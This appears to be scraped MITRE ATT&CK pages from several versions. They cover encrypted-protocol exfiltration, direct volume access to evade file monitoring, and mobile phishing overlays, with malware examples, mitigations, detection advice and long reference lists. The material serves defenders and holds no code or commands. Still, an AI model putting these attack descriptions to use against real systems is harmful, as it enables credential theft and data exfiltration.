Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition SMS Control Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - Enterprise - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Other sub-techniques of Exfiltration Over Alternative Protocol (3) ID Name T1048. Exfiltration Over Symmetric Encrypted Non-C2 Protocol T1048. Exfiltration Over Asymmetric Encrypted Non-C2 Protocol T1048. Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ID: T1048. Sub-technique of: T ⓘ Tactic: Exfiltration ⓘ Platforms: Linux, Windows, macOS ⓘ Data Sources: Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow Requires Network: Yes Version: 1. Created: 15 March Last Modified: 28 March Version Permalink Live Version Procedure Examples ID Name Description G APT APT29 has exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.[1] Mitigations ID Mitigation Description M Filter Network Traffic Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. M Network Intrusion Prevention Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. M Network Segmentation Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.[2] Detection Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.[3] References - Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020. - Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016. - Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. × load more results
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versions_v9_techniques_T1048_002.txt
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Campaign. Retrieved April 11, 2018. - Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018. - Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019. - Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020. - Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021. - Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021. - Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021. - F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018. - Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018. - Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018. - McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018. - Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021. - Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021. - Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: "njRAT" Uncovered. Retrieved June 4, 2019. - Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019. - Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018. - Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021. - Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018. - Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020. - Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016. - Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. - Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016. - Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018. - Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015. - Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018. - Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020. - Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018. - Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017. - Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020. - Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017. - PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018. - PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018. - Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019. - Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016. - Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020. - Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. - Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. - Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019. - Nicolas Verdier. (n.d.). Retrieved January 29, 2018. - Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016. - Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021. - CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021. - Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021. - Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021. - Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021. - Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021. - Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. - Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018. - Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018. - Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019. - Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019. - Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020. - Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020. - Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018. - Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016. - Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017. - Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020. - Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. - Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. - Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016. - Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020. - Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020. - Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016. - Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018. - Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019. - Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020. - Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020. - Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021. - Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021. - Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021. - Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020. - Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022. - Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018. - FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021. - FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017. - Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. - Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014. - Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021. - Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014. - USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021. - AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021. - Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018. - Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021. - Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017. - Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021. - Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020. - Moore, S. et al. (2020, April 30). Anomali
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versions_v11_techniques_T1547_001.txt
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Metadata API Group Policy Preferences Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Domain Groups Cloud Groups Local Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Pass the Hash Pass the Ticket Application Access Token Web Session Cookie Collection Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man in the Browser Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Domain Generation Algorithms Fast Flux DNS DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Execution Broadcast Receivers Native Code Persistence Abuse Device Administrator Access to Prevent Removal Broadcast Receivers Code Injection Compromise Application Executable Foreground Persistence Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Privilege Escalation Code Injection Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Application Discovery Code Injection Delete Device Data Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Geofencing Input Injection Install Insecure or Malicious Configuration Masquerade as Legitimate Application Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Native Code Obfuscated Files or Information Suppress Application Icon Uninstall Malicious Application Credential Access Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Keychain Network Traffic Capture or Redirection URI Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Collection Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Foreground Persistence Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Command and Control Alternate Network Mediums Commonly Used Port Domain Generation Algorithms Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Impact Carrier Billing Fraud Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition SMS Control Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - Enterprise - Direct Volume Access Direct Volume Access Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. [1] Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. [2] ID: T Sub-techniques: No sub-techniques Tactic: Defense Evasion Platforms: Windows Permissions Required: Administrator Data Sources: API monitoring Defense Bypassed: File monitoring, File system access controls Version: 2. Created: 31 May Last Modified: 30 January Version Permalink Live Version Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Detection Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. [2] Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended. References - Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014. - Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016. × load more results
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versions_v8_techniques_T1006.txt
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Currently viewing ATT&CK v17.1 which is the current version of ATT&CK. Learn more about the versioning system or see the live site. ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. To potentially join us on stage, submit to our CFP by July 9th - Home - Techniques - Mobile - Input Capture - GUI Input Capture Input Capture: GUI Input Capture Other sub-techniques of Input Capture (2) ID Name T1417. Keylogging T1417. GUI Input Capture Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.[1] There are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information.[2] Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.[3] Additionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground.[4] Two known approaches to displaying a prompt include: - Adversaries start a new activity on top of a running legitimate application.[1][5] Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.[6] - Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the SYSTEM_ALERT_WINDOW permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store.[7][8][9] The SYSTEM_ALERT_WINDOW permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.[10] ID: T1417. Sub-technique of: T Tactic Type: Post-Adversary Device Access ⓘ Tactics: Credential Access, Collection ⓘ Platforms: Android, iOS ⓘ MTC ID: APP- Version: 1. Created: 05 April Last Modified: 17 November Version Permalink Live Version Procedure Examples ID Name Description S Anubis Anubis can create overlays to capture user credentials for targeted applications.[11] S BRATA BRATA can use tailored overlay pages to steal PINs for banking applications.[12] S Cerberus Cerberus can generate fake notifications and launch overlay attacks against attacker-specified applications.[13] S Chameleon Chameleon can perform overlay attacks against a device by injecting HTML phishing pages into a webview.[14] S Dendroid Dendroid can open a dialog box to ask the user for passwords.[15] S Drinik Drinik can use overlays to steal user banking credentials entered into legitimate sites.[16] S Escobar Escobar can collect credentials using phishing overlays.[17] S EventBot EventBot can display popups over running applications.[18] S Exobot Exobot can show phishing popups when a targeted application is running.[19] S FlixOnline FlixOnline requests overlay permissions, which can allow it to create fake Login screens for other apps.[20] S FluBot FluBot can add display overlays onto banking apps to capture credit card information.[21] S FlyTrap FlyTrap has used infected applications with Facebook login prompts to steal credentials.[22] S Ginp Ginp can use a multi-step phishing overlay to capture banking credentials and then credit card numbers after login.[23] S GPlayed GPlayed can show a phishing WebView pretending to be a Google service that collects credit card information.[24] S Gustuff Gustuff uses WebView overlays to prompt the user for their device unlock code, as well as banking and cryptocurrency application credentials. Gustuff can also send push notifications pretending to be from a bank, triggering a phishing overlay.[25][3] S Mandrake Mandrake can manipulate visual components to trick the user into granting dangerous permissions, and can use phishing overlays and JavaScript injection to capture credentials.[26] S Pallas Pallas uses phishing popups to harvest user credentials.[27] S Red Alert 2. Red Alert 2.0 has used malicious overlays to collect banking credentials.[28] S Riltok Riltok can open a fake Google Play screen requesting bank card credentials and mimic the screen of relevant mobile banking apps to request user/bank card details.[29] S Rotexy Rotexy can use phishing overlays to capture users' credit card information.[30] S S.O.V.A. S.O.V.A. can use overlays capture banking credentials and credit card information, and can open arbitrary WebViews from the C2.[31] S SharkBot SharkBot can use a WebView with a fake log in site to capture banking credentials.[32] S TangleBot TangleBot can use overlays to cover legitimate applications or screens.[33] S TERRACOTTA TERRACOTTA has displayed a form to collect user data after installation.[34] S TianySpy TianySpy can utilize WebViews to display fake authentication pages that capture user credentials.[35] S Tiktok Pro Tiktok Pro can launch a fake Facebook login page.[36] S Xbot Xbot uses phishing pages mimicking Google Play's payment interface as well as bank login pages.[37] S XcodeGhost XcodeGhost can prompt a fake alert dialog to phish user credentials.[38] Mitigations ID Mitigation Description M Enterprise Policy An EMM/MDM can use the Android DevicePolicyManager.setPermittedAccessibilityServices method to set an explicit list of applications that are allowed to use Android's accessibility features. M Use Recent OS Version The HIDE_OVERLAY_WINDOWS permission was introduced in Android 12 allowing apps to hide overlay windows of type TYPE_APPLICATION_OVERLAY drawn by other apps with the SYSTEM_ALERT_WINDOW permission, preventing other applications from creating overlay windows on top of the current application.[39] Detection ID Data Source Data Component Detects DS Application Vetting Permissions Requests Application vetting services can look for applications requesting the android.permission.SYSTEM_ALERT_WINDOW permission in the list of permissions in the app manifest. DS User Interface System Settings An Android user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). References - A.P. Felt and D. Wagner. (2011, May 26). Phishing on Mobile Devices. Retrieved August 25, 2016. - Lukáš Štefanko. (2016, July 7). Fake finance apps on Google Play target users from around the world. Retrieved September 24, 2018. - Group-IB. (2019, March 28). Group-IB uncovers Android Trojan named «Gustuff» capable of targeting more than 100 global banking apps, cryptocurrency and marketplace applications. Retrieved September 3, 2019. - ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019. - R. Hassell. (2011, October 12-13). Exploiting Androids for Fun and Profit. Retrieved October 10, 2019. - Android Developers. (n.d.). Restrictions on starting activities from the background. Retrieved September 18, 2019. - Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 12, 2024. - Ramirez, T.. (2017, May 25). ‘SAW’-ing through the UI: Android overlay malware and the System Alert Window permission explained. Retrieved September 18, 2019. - Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved November 17, 2024. - Rahman, M.. (2019, May 8). Bubbles in Android Q will fully replace the overlay API in a future Android version. Retrieved September 18, 2019. - M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. Retrieved September 25, 2024. - Federico Valentini, Francesco Lubatti. (2022, January 24). How BRATA is monitoring your bank account. Retrieved December 18, 2023. - Threat Fabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved June 26, 2020. - Cyble Research & Intelligence Labs. (2023, April 13). Banking Trojan targeting mobile users in Australia and Poland. Retrieved August 16, 2023. - Marc Rogers. (2014, March 6). Dendroid malware can take over your camera, record audio, and sneak into Google Play. Retrieved December 22, 2016. - Cyble. (2022, October 27). Drinik Malware Returns With Advanced Capabilities Targeting Indian Taxpayers. Retrieved November 17, 2024. - B. Toulas. (2022, March 12). Android malware Escobar steals your Google Authenticator MFA codes. Retrieved September 28, 2023. - D. Frank, L. Rochberger, Y. Rimmer, A. Dahan. (2020, April 30). EventBot: A New Mobile Banking Trojan is Born. Retrieved June 26, 2020. - Threat Fabric. (2017, February). Exobot - Android banking Trojan on the rise. Retrieved October 29, 2020. - Aviran Hazum, Bodgan Melnykov, Israel Wenik. (2021, April 7). New Wormable Android Malware Spreads by Creating Auto-Replies to Messages in WhatsApp. Retrieved January 26, 2024. - Crista Giering, F. Naves, Andrew Conway, Adam McNeil . (2021, April 27). FluBot Android Malware Spreading Rapidly Through Europe, May Hit U.S. Soon. Retrieved February 28, 2023. - Trend Micro. (2021, August 17). FlyTrap Android Malware Is Taking Over Facebook Accounts — Protect Yourself With a Malware Scanner. Retrieved September
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versions_v17_techniques_T1417_002.txt
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Currently viewing ATT&CK v12.1 which was live between October 25, 2022 and April 24, 2023. Learn more about the versioning system or see the live site. ATT&CK v12 is now live! Check out the updates here TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Wordlist Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Code Repositories Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Serverless Compromise Accounts Social Media Accounts Email Accounts Cloud Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Serverless Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Cloud Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target SEO Poisoning Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange XPC Services Native API Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Serverless Execution Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Additional Email Delegate Permissions Additional Cloud Roles SSH Authorized Keys Device Registration BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert 